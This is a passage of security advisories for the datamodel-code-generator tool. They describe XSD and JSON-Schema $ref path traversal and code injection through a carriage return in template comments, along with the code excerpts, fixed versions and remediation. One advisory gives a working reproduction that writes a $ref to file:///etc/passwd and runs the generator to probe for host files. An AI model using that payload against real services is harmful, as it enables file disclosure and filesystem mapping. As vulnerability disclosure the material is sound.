Arbitrary local file read / path traversal (CWE-22) leading to information disclosure (CWE-200). Any application, CI pipeline, or multi-tenant service that generates models from an attacker-supplied XSD and exposes (returns, logs, commits, renders) the generated code is affected. The attacker can read files outside the input tree whose data is addressable as XSD content (other schemas, configs), and the read itself is an arbitrary-file-access primitive. No flag mitigates it. The attacker controls only the input schema; no authentication or special privileges are required. (Raw bytes of files that are not valid XML are read into the process but not echoed verbatim, since parsing fails; verbatim disclosure applies to XML/XSD-shaped data.)

Suggested remediation

Reject resolved schemaLocation targets that are not resolved.is_relative_to(self.base_path), and bring XSD includes under the same remote/external-reference policy enforced for JSON-Schema $ref.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.62.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-442q-2j6p-642g/pull/1

Fix summary: reject XSD schemaLocation targets that resolve outside the input base path, including relative traversal and absolute paths.

Release status: fixed in 0.62.0. XML Schema input support was introduced in 0.59.0, so affected versions are >= 0.59.0, <= 0.61.0.

Validation: uv run --group test --extra http pytest tests/main/xmlschema/test_main_xmlschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/xmlschema.py tests/main/xmlschema/test_main_xmlschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

datamodel-code-generator is vulnerable to code injection when a developer passes an --extra-template-data file whose comment value contains a literal \r (carriage return). The comment variable is rendered into a Python # comment in six built-in templates with no line-terminator escaping. Python's tokenizer treats a bare CR as a physical-line terminator (see Python language reference — Physical lines), so the comment ends at the \r and the text after it is parsed as Python, including, when the CR is followed by suitable indentation, as a statement within the class body that follows on the next template line.

Details

The vulnerable templates each contain # {{ comment }} with no escaping:

• src/datamodel_code_generator/model/template/TypeAliasAnnotation.jinja2:12 and :19
• src/datamodel_code_generator/model/template/TypeAliasType.jinja2:12 and :19
• src/datamodel_code_generator/model/template/TypeStatement.jinja2:12 and :19
• src/datamodel_code_generator/model/template/pydantic_v2/BaseModel.jinja2:4
• src/datamodel_code_generator/model/template/pydantic_v2/RootModel.jinja2:19
• src/datamodel_code_generator/model/template/pydantic_v2/RootModelTypeAlias.jinja2:13

The pydantic_v2/BaseModel.jinja2:4 site is representative:

class {{ class_name }}({{ base_class }}):{% if comment is defined %}  # {{ comment }}{% endif %}

When the developer-supplied extras file populates comment for a model, the value reaches the template via DataModel.extra_template_data (set in src/datamodel_code_generator/model/base.py:736-742) and Jinja2 interpolates it raw. None of the templates use comment_safe, escape_docstring, or any other line-terminator filter.

PoC

Complete self contained POC is available at my secret gist: https://gist.github.com/thegr1ffyn/8ad6b8cb3cc2be9d3a0144aeb6896a3f

Impact

• Who's affected: any developer or CI pipeline that runs datamodel-codegen --extra-template-data <file> where the extras file is influenced by attacker-controlled input. Realistic scenarios include:
  • Extras file generated from a third-party schema-annotation system.
  • Extras file vendored from an upstream repository.
  • Extras file produced by a script that merges multiple comment sources.
  • Build pipelines that template the extras file from environment variables, ticket descriptions, or commit metadata.
• What it gains: arbitrary Python code execution in the importer's process at import time.
• What it does NOT need: the schema itself can be entirely benign; only the extras file needs to contain the malicious comment.
• What does block it: not passing --extra-template-data, or rejecting extras files whose comment values contain \r, \x0b, or \x0c before invocation.

Resolution

The fix normalizes comment values from built-in --extra-template-data before template rendering. Inline comments now convert CRLF, bare CR, vertical tab, and form feed into LF and prefix continuation lines with # , so attacker-controlled text stays inside the generated Python comment block.

Remediation

Upgrade to datamodel-code-generator 0.60.2 or later.

This issue affects datamodel-code-generator versions >= 0.14.1, <= 0.60.1 and is fixed in 0.60.2.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

datamodel-code-generator resolves JSON-Schema $ref targets that point at the local filesystem without restricting them to the input/base directory and without honoring the remote-reference security control. In the default configuration, an attacker who controls an input schema (a "paste your OpenAPI/JSON-Schema" service, a CI job that generates models from a submitted spec, or any multi-tenant codegen platform) can read any file the process user can read and map the host filesystem. This works via either a file:// absolute URI or a ../-escaped relative reference, and it succeeds even when --no-allow-remote-refs is set.

This is an unauthenticated path-traversal / information-disclosure issue (CWE-22 / CWE-200) plus a bypass of a documented security control.

Details

is_url() classifies file:// as a URL (reference.py:1249):

def is_url(ref: str) -> bool:
    return ref.startswith(("https://", "http://", "file://"))

The remote-ref gate then explicitly exempts file://, so --no-allow-remote-refs never applies to it (parser/jsonschema.py, _get_ref_body):

if is_url(resolved_ref):
    if not resolved_ref.startswith("file://") and self.http_local_ref_path is None:
        if self.allow_remote_refs is False:
            raise Error(...)        # <-- skipped for file://
        ...
    return self._get_ref_body_from_url(resolved_ref)
return self._get_ref_body_from_remote(resolved_ref)

Both local-file branches read the target with no containment check. The file:// branch reads any absolute path:

# _get_ref_body_from_url
if ref.startswith("file://"):
    path = url2pathname(urlparse(ref).path)     # absolute path, anywhere on disk
    return self.remote_object_cache.get_or_put(
        ref, default_factory=lambda _: load_data_from_path(Path(path), self.encoding))

and the plain relative branch lets ../ escape the base directory:

# _get_ref_body_from_remote
full_path = self.base_path / resolved_ref       # no is_relative_to(base_path) check
return self.remote_object_cache.get_or_put(
    str(full_path), default_factory=lambda _: load_data_from_path(full_path, self.encoding))

For contrast, the HTTP-local-ref branch (_get_ref_body_from_local_http_path) does enforce is_relative_to(base_path); these two filesystem branches do not. (This is distinct from the previously reported HTTP $ref/--url SSRF hardened in http.py these code paths never enter http.py.)

The fetched file is read and parsed, yielding two impacts:

1. Arbitrary file read + filesystem oracle (any file). The process opens any readable path, and the three distinguishable outcomes leak filesystem structure: Expected dict, got str/list = the file exists and was read into the process; FileNotFoundError: '<abs path>' = missing; PermissionError: '<abs path>' = exists but unreadable. An attacker uses this to probe arbitrary paths and recover the operator's absolute filesystem layout.

2. Verbatim secret disclosure into the generated code. When the referenced node is JSON-Schema-shaped, values in const/default/enum/description positions are emitted verbatim into the generated Python that is returned to the attacker — i.e. exactly the internal/private schema and config files a codegen host stores (specs with example/default tokens, default credentials, internal hostnames, service-account JSON, k8s secret manifests).

Scope note (to avoid overstating): the raw bytes of unstructured files such as /etc/passwd or a PEM id_rsa are read into the process but are not echoed verbatim into the output, because they parse to a single scalar and are rejected as "not a schema". For those files the impact is the read itself plus the existence/permission/absolute-path oracle; verbatim content disclosure applies to schema-shaped nodes.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/2a87e81f985883acc30d0118c52da4d3 / (poc.py creates everything in a temp dir, runs the generator, asserts read + leak + gate bypass, and cleans up). Minimal manual reproduction of the arbitrary read (any path works):

printf '{"type":"object","properties":{"x":{"$ref":"file:///etc/passwd"}}}' > probe.json
datamodel-codegen --input probe.json --input-file-type jsonschema --output o.py
# -> "TypeError: Expected dict, got str"  == /etc/passwd was opened and fully parsed.
# Swap the $ref for a missing/unreadable path to see the existence/permission oracle.

Impact

Arbitrary local file read / path traversal (CWE-22) → information disclosure (CWE-200), plus bypass of --no-allow-remote-refs. Any application, CI pipeline, or multi-tenant service that runs datamodel-code-generator on an untrusted schema and exposes (returns, logs, commits, renders) the generated code is affected. The attacker can: open and read any file the process user can read (demonstrated: /etc/passwd, a PEM id_rsa, paths under /root/); map the host filesystem and recover absolute paths; and exfiltrate secret values verbatim from any schema-shaped node. Attacker controls only the input schema; no authentication or special privileges required.

Suggested remediation

1. Do not exempt file:// from the allow_remote_refs gate, treat it as an external scheme.
2. In both _get_ref_body_from_url (the file:// case) and _get_ref_body_from_remote, reject targets that are not resolved.is_relative_to(self.base_path), mirroring the existing check in _get_ref_body_from_local_http_path.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.62.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-8359-h9fx-j6v9/pull/1

Fix summary: apply the remote-ref gate to file:// refs and local JSON Schema refs outside the input base path. In 0.62.0, --no-allow-remote-refs blocks these references; the default compatibility mode emits a FutureWarning and users who intentionally rely on trusted external local refs can pass --allow-remote-refs.

Release status: fixed in 0.62.0 for the documented --no-allow-remote-refs bypass, with a compatibility warning for the default behavior.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)